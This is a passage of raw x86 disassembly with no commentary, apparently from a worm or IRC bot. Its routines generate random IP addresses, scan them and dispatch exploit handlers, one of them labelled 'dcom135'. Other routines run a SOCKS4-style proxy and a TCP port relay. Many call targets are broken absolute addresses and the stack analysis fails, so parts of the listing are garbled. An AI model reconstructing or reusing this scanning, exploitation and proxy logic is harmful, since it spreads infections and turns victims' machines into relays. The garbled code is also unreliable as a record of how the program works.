dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_417AB0 cmp eax, 0Fh pop ecx jbe short loc_407656 xor eax, eax jmp short loc_4076C7 ; --------------------------------------------------------------------------- loc_407656: ; CODE XREF: sub_40762E+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_418A52 add esp, 18h cmp [ebp+var_C], esi jnz short loc_407683 call sub_41730C mov [ebp+var_C], eax loc_407683: ; CODE XREF: sub_40762E+4Bj cmp [ebp+var_8], esi jnz short loc_407690 call sub_41730C mov [ebp+var_8], eax loc_407690: ; CODE XREF: sub_40762E+58j cmp [ebp+var_4], esi jnz short loc_40769D call sub_41730C mov [ebp+var_4], eax loc_40769D: ; CODE XREF: sub_40762E+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_4076A9 call sub_41730C loc_4076A9: ; CODE XREF: sub_40762E+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_436F18[ecx*8], eax loc_4076C7: ; CODE XREF: sub_40762E+26j pop esi leave retn sub_40762E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4076CA proc near ; CODE XREF: sub_407767+BBp ; sub_40D4C5+30p var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_43AE18 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4076F3 xor eax, eax jmp short loc_407762 ; --------------------------------------------------------------------------- loc_4076F3: ; CODE XREF: sub_4076CA+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_43AD98 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_43AE34 lea eax, [ebp+var_1C] push 10h push eax push esi call dword_43AD40 mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_43AD80 push esi mov edi, eax call dword_43AE30 xor eax, eax cmp edi, ebx setnle al loc_407762: ; CODE XREF: sub_4076CA+27j pop edi pop esi pop ebx leave retn sub_4076CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407767 proc near ; DATA XREF: sub_40797F+13Bo var_2A8 = dword ptr -2A8h var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax nop call near ptr 26308B3h push eax call sub_417302 mov ebx, esi pop ecx imul ebx, 234h loc_4077AE: ; CODE XREF: sub_407767+204j mov eax, dword_4407F4[ebx] cmp dword_436F1C[eax*8], 0 jz loc_407970 cmp [ebp+var_10], 0 push eax jz short loc_4077D8 lea eax, [ebp+var_150] push eax call sub_40762E pop ecx jmp short loc_4077DD ; --------------------------------------------------------------------------- loc_4077D8: ; CODE XREF: sub_407767+60j call sub_4075E6 loc_4077DD: ; CODE XREF: sub_407767+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_4407F4[ebx] push [ebp+var_3C] push edi call dword_43AE24 push eax lea eax, [ebp+var_28C] push offset unk_42B3BC push eax call sub_4172B0 add esp, 18h lea eax, [ebp+var_28C] push eax lea eax, dword_4405F0[ebx] push eax call sub_4172B0 push [ebp+var_38] push [ebp+var_3C] push edi call sub_4076CA add esp, 14h cmp eax, 1 jnz loc_407960 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_4078B4 push offset dword_438F18 nop call near ptr 77F7E21Fh push [ebp+var_3C] push edi call dword_43AE24 push eax lea eax, [ebp+var_28C] push offset unk_42B384 push eax call sub_4172B0 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_407896 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40788A lea eax, [ebp+var_140] loc_40788A: ; CODE XREF: sub_407767+11Bj push eax push [ebp+var_40] call sub_40D679 add esp, 14h loc_407896: ; CODE XREF: sub_407767+100j lea eax, [ebp+var_28C] push eax call sub_40BF6D mov [esp+2A8h+var_2A8], offset dword_438F18 call near ptr 77F7E300h nop jmp loc_407960 ; --------------------------------------------------------------------------- loc_4078B4: ; CODE XREF: sub_407767+D0j push edi call dword_43AE24 push eax lea eax, [ebp+var_208] push eax call sub_4172B0 mov eax, [ebp+var_20] pop ecx imul eax, 3Ch pop ecx add eax, offset aDcom135_0 ; "dcom135" push eax lea eax, [ebp+var_178] push eax call sub_4172B0 cmp [ebp+var_C0], 0 pop ecx pop ecx lea eax, [ebp+var_C0] jnz short loc_4078F9 lea eax, [ebp+var_140] loc_4078F9: ; CODE XREF: sub_407767+18Aj push eax lea eax, [ebp+var_1F8] push eax call sub_4172B0 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] mov [ebp+var_15C], eax mov eax, [ebp+var_14] mov [ebp+var_158], eax mov eax, [ebp+var_3C] mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_164], eax imul eax, 3Ch sub esp, 0BCh mov [ebp+var_168], esi lea esi, [ebp+var_20C] push 2Fh pop ecx mov edi, esp rep movsd call off_42ACB4[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_407960: ; CODE XREF: sub_407767+C6j ; sub_407767+148j push 7D0h nop call near ptr 2630F90h jmp loc_4077AE ; --------------------------------------------------------------------------- loc_407970: ; CODE XREF: sub_407767+55j push esi call sub_417078 pop ecx push 0 nop call near ptr 26302E2h sub_407767 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40797F proc near ; DATA XREF: sub_40EE72+3300o ; sub_40EE72+5137o var_1DC = dword ptr -1DCh var_1CC = byte ptr -1CCh var_14C = byte ptr -14Ch var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_43ADD8 mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_436F18[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_407252 push 8 call sub_416FA4 add esp, 150h cmp eax, ebx jnz short loc_407A4D mov esi, offset dword_438F18 push esi nop call near ptr 2700000h push 80000400h push esi call near ptr 26F0D06h nop test eax, eax jnz short loc_407A4D lea eax, [ebp+var_1CC] push offset unk_42B4F0 push eax call sub_4172B0 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_407A37 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_40D679 add esp, 14h loc_407A37: ; CODE XREF: sub_40797F+99j lea eax, [ebp+var_1CC] push eax call sub_40BF6D pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_407A4D: ; CODE XREF: sub_40797F+63j ; sub_40797F+7Fj mov eax, [ebp+var_2C] mov esi, dword_424064 mov edi, ebx mov dword_436F1C[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_407B1A loc_407A6B: ; CODE XREF: sub_40797F+195j push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_42B4A8 push eax call sub_4172B0 push ebx lea eax, [ebp+var_1CC] push 8 push eax call sub_416D5C mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_4407F4[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_407767 push ebx push ebx call near ptr 26A0C0Ah nop mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_407AE5 loc_407ADA: ; CODE XREF: sub_40797F+164j cmp [ebp+var_4], ebx jnz short loc_407B0C push 1Eh call esi jmp short loc_407ADA ; --------------------------------------------------------------------------- loc_407AE5: ; CODE XREF: sub_40797F+159j call near ptr 2670ADCh nop push eax lea eax, [ebp+var_1CC] push offset unk_42B45C push eax call sub_4172B0 lea eax, [ebp+var_1CC] push eax call sub_40BF6D add esp, 10h loc_407B0C: ; CODE XREF: sub_40797F+15Ej push 1Eh call esi inc edi cmp edi, [ebp+var_20] jbe loc_407A6B loc_407B1A: ; CODE XREF: sub_40797F+E6j cmp [ebp+var_30], ebx jz loc_407BC4 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi loc_407B2F: ; CODE XREF: sub_40797F+250j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_436F18[eax*8] push eax call dword_43AE24 push eax lea eax, [ebp+var_1CC] push offset unk_42B408 push eax call sub_4172B0 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_407B7D push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_40D679 add esp, 14h loc_407B7D: ; CODE XREF: sub_40797F+1DFj lea eax, [ebp+var_1CC] push eax call sub_40BF6D mov eax, [ebp+var_2C] mov [esp+1DCh+var_1DC], 0BB8h mov dword_436F1C[eax*8], ebx call esi push 8 call sub_416FA4 cmp eax, 1 pop ecx jnz short loc_407BB4 push offset dword_438F18 nop call near ptr 2700000h loc_407BB4: ; CODE XREF: sub_40797F+228j push [ebp+var_2C] call sub_417078 pop ecx push ebx nop call near ptr 26302E2h loc_407BC4: ; CODE XREF: sub_40797F+19Ej ; sub_40797F+25Dj mov eax, [ebp+var_2C] cmp dword_436F1C[eax*8], 1 jnz loc_407B2F push 7D0h call esi jmp short loc_407BC4 sub_40797F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407BDE proc near ; DATA XREF: sub_40EE72+36DDo var_34C = byte ptr -34Ch var_14C = byte ptr -14Ch var_148 = dword ptr -148h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 34Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_14C] rep movsd push 1 xor esi, esi pop edi push 10h mov [eax+120h], edi pop ebx lea eax, [ebp+var_10] push ebx push esi push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_40] call dword_43AD98 push 6 push edi push 2 mov [ebp+var_E], ax mov [ebp+var_C], esi mov [ebp+arg_0], ebx call dword_43AE18 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_407D42 mov eax, [ebp+var_3C] push edi imul eax, 234h push 401h push esi push ebx mov dword_4407FC[eax], ebx call dword_43ACB4 lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43ADC4 test eax, eax jnz loc_407D42 push 0Ah push ebx call dword_43ADC0 test eax, eax jnz loc_407D42 loc_407C88: ; CODE XREF: sub_407BDE+BEj ; sub_407BDE+13Fj lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_24] push eax push ebx call dword_43AE2C mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_407C88 movzx eax, [ebp+var_22] push [ebp+var_3C] mov [ebp+var_148], edi mov [ebp+var_2C], esi push eax push [ebp+var_20] call dword_43AE24 push eax lea eax, [ebp+var_34C] push offset unk_42B584 push eax call sub_4172B0 push edi lea eax, [ebp+var_34C] push 10h push eax call sub_416D5C mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov dword_4407F4[eax], ecx lea eax, [ebp+var_14] push eax lea eax, [ebp+var_14C] push esi push eax push offset loc_407D66 push esi push esi nop call near ptr 26A0C0Ah mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov dword_440804[ecx], eax jz short loc_407D2D loc_407D1A: ; CODE XREF: sub_407BDE+14Dj cmp [ebp+var_2C], esi jnz loc_407C88 push 32h call near ptr 2630F90h nop jmp short loc_407D1A ; --------------------------------------------------------------------------- loc_407D2D: ; CODE XREF: sub_407BDE+13Aj nop call near ptr 2670ADCh push eax push offset unk_42B538 call sub_40BFE1 pop ecx pop ecx jmp short loc_407D45 ; --------------------------------------------------------------------------- loc_407D42: ; CODE XREF: sub_407BDE+61j ; sub_407BDE+93j ... mov edi, [ebp+arg_0] loc_407D45: ; CODE XREF: sub_407BDE+162j push edi call dword_43AE30 push ebx call dword_43AE30 push [ebp+var_3C] call sub_417078 pop ecx push esi nop call near ptr 26302E2h pop edi pop esi pop ebx sub_407BDE endp ; sp-analysis failed loc_407D66: ; DATA XREF: sub_407BDE+11Co push ebp mov ebp, esp mov eax, 1344h call sub_417B30 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] push 1 pop ecx mov [ebp-4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_43AE18 mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_407F1C push 10h lea eax, [ebp-18h] push edi push eax call sub_417330 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call dword_43AD98 mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call dword_43ADD8 cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_407DF6 lea eax, [ebp-13Ch] push eax call dword_43AE1C jmp short loc_407E04 ; --------------------------------------------------------------------------- loc_407DF6: ; CODE XREF: ___:00407DE5j push 2 lea eax, [ebp-8] push 4 push eax call dword_43AD50 loc_407E04: ; CODE XREF: ___:00407DF4j cmp eax, edi jz loc_407F1C mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call dword_43AD40 cmp eax, 0FFFFFFFFh jz loc_407F1C movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call dword_43AE24 push eax lea eax, [ebp-344h] push offset unk_42B62C push eax call sub_4172B0 push esi lea eax, [ebp-344h] push 10h push eax call sub_416D5C imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_4407FC[ebx] mov dword_4407F4[eax], ecx add esp, 20h mov ecx, [esi] mov dword_440800[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset loc_407F4D push edi push edi nop call near ptr 26A0C0Ah mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov dword_440804[ecx], eax jz short loc_407F09 loc_407EB6: ; CODE XREF: ___:00407EC3j cmp [ebp-20h], edi jnz short loc_407EC5 push 32h call near ptr 2630F90h nop jmp short loc_407EB6 ; --------------------------------------------------------------------------- loc_407EC5: ; CODE XREF: ___:00407EB9j mov ebx, 1000h loc_407ECA: ; CODE XREF: ___:00407F05j push ebx lea eax, [ebp-1344h] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call dword_43ADB0 cmp eax, edi jle short loc_407F1C push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call dword_43ADE8 cmp eax, 0FFFFFFFFh jnz short loc_407ECA jmp short loc_407F1C ; --------------------------------------------------------------------------- loc_407F09: ; CODE XREF: ___:00407EB4j nop call near ptr 2670ADCh push eax push offset unk_42B5DC call sub_40BFE1 pop ecx pop ecx loc_407F1C: ; CODE XREF: ___:00407DAAj ; ___:00407E06j ... mov eax, [ebp-4] imul eax, 234h push dword_4407FC[eax] call dword_43AE30 push dword ptr [ebp+8] call dword_43AE30 push dword ptr [ebp-4] call sub_417078 pop ecx push edi nop call near ptr 26302E2h pop edi pop esi pop ebx loc_407F4D: ; DATA XREF: ___:00407E96o push ebp mov ebp, esp mov eax, 1128h call sub_417B30 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_407F84: ; CODE XREF: ___:00407FC9j push edi lea eax, [ebp-1128h] push 0 push eax call sub_417330 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push dword_440800[esi] call dword_43ADB0 test eax, eax jle short loc_407FCB push 0 push eax lea eax, [ebp-1128h] push eax push dword_4407FC[esi] call dword_43ADE8 cmp eax, 0FFFFFFFFh jnz short loc_407F84 loc_407FCB: ; CODE XREF: ___:00407FAEj push dword_440800[esi] call dword_43AE30 push dword ptr [ebp-14h] call sub_417078 pop ecx push 0 nop ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- cli and byte ptr [edx], 2 pop edi pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407FEA proc near ; DATA XREF: sub_40EE72+5E51o var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_4D0 = byte ptr -4D0h var_4CF = byte ptr -4CFh var_4CE = word ptr -4CEh var_4CC = dword ptr -4CCh var_4C8 = byte ptr -4C8h var_2D4 = byte ptr -2D4h var_D4 = dword ptr -0D4h var_D0 = byte ptr -0D0h var_C8 = byte ptr -0C8h var_44 = byte ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 10h mov esi, eax pop ebx lea edi, [ebp+var_D4] push 2Ch mov [ebp+var_4], ebx pop ecx rep movsd push 1 xor esi, esi pop edi mov [eax+0A8h], edi push ebx lea eax, [ebp+var_14] push esi push eax call sub_417330 add esp, 0Ch mov word ptr [ebp+var_14], 2 push [ebp+var_40] call dword_43AD98 push 6 push edi push 2 mov word ptr [ebp+var_14+2], ax mov [ebp+var_10], esi call dword_43AE18 mov edi, eax mov eax, [ebp+var_3C] imul eax, 234h push ebx mov dword_4407FC[eax], edi lea eax, [ebp+var_14] push eax push edi call dword_43ADC4 test eax, eax jnz loc_40818C push 0Ah push edi call dword_43ADC0 test eax, eax jnz loc_40818C push [ebp+var_40] push [ebp+var_D4] call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2D4] push offset unk_42B75C push eax call sub_4172B0 add esp, 10h cmp [ebp+var_30], esi jnz short loc_4080C5 push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_40D679 add esp, 14h loc_4080C5: ; CODE XREF: sub_407FEA+B9j ; sub_407FEA+172j ... lea eax, [ebp+var_2D4] push eax call sub_40BF6D pop ecx lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push edi call dword_43AE2C push [ebp+var_3C] mov ebx, eax movzx eax, [ebp+var_22] push eax mov [ebp+var_28], esi push [ebp+var_20] call dword_43AE24 push eax lea eax, [ebp+var_2D4] push offset unk_42B708 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2D4] push 11h push eax call sub_416D5C mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov dword_4407F4[eax], ecx lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_D4] push esi push eax push offset loc_4081EF push esi push esi nop call near ptr 26A0C0Ah mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov dword_440804[ecx], eax jz short loc_40816C loc_408159: ; CODE XREF: sub_407FEA+180j cmp [ebp+var_28], esi jnz loc_4080C5 push 5 nop call near ptr 2630F90h jmp short loc_408159 ; --------------------------------------------------------------------------- loc_40816C: ; CODE XREF: sub_407FEA+16Dj nop call near ptr 2670ADCh push eax lea eax, [ebp+var_2D4] push offset unk_42B6C0 push eax call sub_4172B0 add esp, 0Ch jmp loc_4080C5 ; --------------------------------------------------------------------------- loc_40818C: ; CODE XREF: sub_407FEA+7Bj ; sub_407FEA+8Cj push edi call dword_43AE30 push [ebp+var_40] lea eax, [ebp+var_2D4] push offset unk_42B680 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_4081CF push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_40D679 add esp, 14h loc_4081CF: ; CODE XREF: sub_407FEA+1C3j lea eax, [ebp+var_2D4] push eax call sub_40BF6D push [ebp+var_3C] call sub_417078 pop ecx pop ecx push esi call near ptr 26302E2h nop pop edi pop esi pop ebx loc_4081EF: ; DATA XREF: sub_407FEA+14Fo push ebp mov ebp, esp sub esp, 5D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 2Ch mov esi, eax pop ecx lea edi, [ebp+var_C8] rep movsd mov esi, [ebp+var_2C] push 1 mov [ebp+arg_0], esi imul esi, 234h pop edi lea esi, dword_4407FC[esi] mov [eax+0ACh], edi xor ebx, ebx mov eax, [esi] mov [ebp+var_8], 5 mov [ebp+var_5D0], eax lea eax, [ebp+var_8] push eax push ebx lea eax, [ebp+var_5D4] push ebx push eax push ebx mov [ebp+var_4], ebx mov [ebp+var_5D4], edi call dword_43AD80 test eax, eax jnz short loc_408270 push dword ptr [esi] call dword_43AE30 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 26302E2h loc_408270: ; CODE XREF: sub_407FEA+26Cj push ebx lea eax, [ebp+var_4D0] push 408h push eax push dword ptr [esi] call dword_43ADB0 test eax, eax jg short loc_4082A1 push dword ptr [esi] call dword_43AE30 push [ebp+arg_0] call sub_417078 pop ecx push ebx call near ptr 26302E2h nop loc_4082A1: ; CODE XREF: sub_407FEA+29Dj cmp [ebp+var_4D0], 4 jnz loc_40849B cmp [ebp+var_4CF], 1 jnz loc_40849B cmp [ebp+var_44], bl jz short loc_408337 lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_408337 lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax push offset unk_42B830 call sub_40BFE1 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Dh call sub_417330 add esp, 18h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43ADE8 push dword ptr [esi] call dword_43AE30 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 26302E2h loc_408337: ; CODE XREF: sub_407FEA+2D4j ; sub_407FEA+2EAj push 10h lea eax, [ebp+var_18] push ebx push eax call sub_417330 mov ax, [ebp+var_4CE] add esp, 0Ch mov [ebp+var_16], ax mov eax, [ebp+var_4CC] push 6 push edi push 2 mov [ebp+var_18], 2 mov [ebp+var_14], eax call dword_43AE18 mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_4083CF call dword_43AD2C push eax push offset unk_42B7E4 call sub_40BFE1 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_417330 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43ADE8 push dword ptr [esi] call dword_43AE30 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 26302E2h loc_4083CF: ; CODE XREF: sub_407FEA+386j lea eax, [ebp+var_18] push 10h push eax push edi call dword_43AD40 cmp eax, 0FFFFFFFFh jnz short loc_40843E call dword_43AD2C push eax push offset unk_42B794 call sub_40BFE1 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_417330 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43ADE8 push dword ptr [esi] call dword_43AE30 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 26302E2h loc_40843E: ; CODE XREF: sub_407FEA+3F5j push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Ah call sub_417330 add esp, 0Ch lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43ADE8 push dword ptr [esi] push edi call sub_4084B3 pop ecx pop ecx push edi call dword_43AE30 push dword ptr [esi] call dword_43AE30 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 26302E2h loc_40849B: ; CODE XREF: sub_407FEA+2BEj ; sub_407FEA+2CBj push dword ptr [esi] call dword_43AE30 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 26302E2h sub_407FEA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4084B3 proc near ; CODE XREF: sub_407FEA+48Bp var_504 = byte ptr -504h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi mov esi, 400h loc_4084C9: ; CODE XREF: sub_4084B3+C5j ; sub_4084B3+F5j mov [ebp+var_100], ebx mov [ebp+var_104], 1 xor ecx, ecx lea eax, [ebp+var_100] loc_4084E1: ; CODE XREF: sub_4084B3+3Cj mov edx, [ebp+arg_0] cmp [eax], edx jz short loc_4084F1 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4084E1 loc_4084F1: ; CODE XREF: sub_4084B3+33j cmp ecx, 1 jnz short loc_408506 mov [ebp+var_FC], edx mov [ebp+var_104], 2 loc_408506: ; CODE XREF: sub_4084B3+41j push esi lea eax, [ebp+var_504] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_104] push edi push edi push edi push eax push edi call dword_43AD80 lea eax, [ebp+var_104] push eax push ebx call dword_43AC90 test eax, eax jz short loc_408566 push edi lea eax, [ebp+var_504] push esi push eax push ebx call dword_43ADB0 cmp eax, 0FFFFFFFFh jz short loc_4085AE push edi push eax lea eax, [ebp+var_504] push eax push [ebp+arg_0] call dword_43ADE8 cmp eax, 0FFFFFFFFh jz short loc_4085AE loc_408566: ; CODE XREF: sub_4084B3+85j lea eax, [ebp+var_104] push eax push [ebp+arg_0] call dword_43AC90 test eax, eax jz loc_4084C9 push edi lea eax, [ebp+var_504] push esi push eax push [ebp+arg_0] call dword_43ADB0 cmp eax, 0FFFFFFFFh jz short loc_4085AE push edi push eax lea eax, [ebp+var_504] push eax push ebx call dword_43ADE8 cmp eax, 0FFFFFFFFh jnz loc_4084C9 loc_4085AE: ; CODE XREF: sub_4084B3+9Aj ; sub_4084B3+B1j ... pop edi pop esi pop ebx leave retn sub_4084B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4085B3 proc near ; CODE XREF: sub_40EE72+45AFp var_484 = byte ptr -484h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr 